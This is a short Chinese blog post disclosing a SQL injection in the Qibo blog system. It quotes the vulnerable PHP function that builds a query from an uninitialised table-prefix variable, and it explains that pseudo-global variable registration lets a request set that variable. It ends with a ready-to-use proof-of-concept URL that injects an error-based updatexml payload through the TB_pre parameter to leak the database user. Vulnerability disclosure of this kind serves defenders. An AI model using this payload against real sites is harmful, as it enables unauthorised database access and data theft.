IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    齐博博客系统sql注入一枚(版本限制,部分通过)

    没穿底裤发表于 2015-08-17 01:06:12
    love 0

    /blog/template/space/file/listbbs.php

    function get_listbbs($rows){
    
    	global $db,$uid,$TB_pre,$Mrows,$page,$Morder,$Mdesc,$webdb,$VlogCfg;
    
    	$VlogCfg[content_leng]==0 && $VlogCfg[content_leng]=120;
    
    
    
    	if($page<1){
    
    		$page=1;
    
    	}
    
    	$min=($page-1)*$rows;
    
    	$albumid && $SQL=" AND albumid='$albumid' ";
    
    	$Mdesc[listbbs] || $Mdesc[listbbs]='DESC';
    
    	$Morder[listbbs] || $Morder[listbbs]="tid";
    
    	$query = $db->query("SELECT T.*,C.* FROM {$TB_pre}threads T LEFT JOIN {$TB_pre}tmsgs C ON T.tid=C.tid WHERE T.authorid='$uid' ORDER BY T.$Morder[listbbs] $Mdesc[listbbs] LIMIT $min,$rows");
    
    	while($rs = $db->fetch_array($query)){
    
    		$rs[postdate]=date("Y-m-d H:i",$rs[postdate]);
    
    		if($VlogCfg[content_leng]>0){
    
    			$rs[content]=@preg_replace('/<([^>]*)>/is',"",$rs[content]);	//把HTML代码过滤掉
    
    			$rs[content]=get_word($rs[content],$VlogCfg[content_leng]);
    
    		}else{
    
    			$rs[content]='';
    
    		}
    
    		$listdb[]=$rs;
    
    	}
    
    	return $listdb;
    
    }

    这个函数中的$TB_pre未初始化,然后根据齐博系统的伪全局变量注册。然后造成sql注入。

    可以构造

    http://127.0.0.1/qibo_blog/blog/index.php?file=listbbs&uid=1&id=1&TB_pre=qb_module where 1=1 or updatexml(2,concat(0x7e,(user())),0) %23

    blog

    demo
    demo



沪ICP备19023445号-2号
友情链接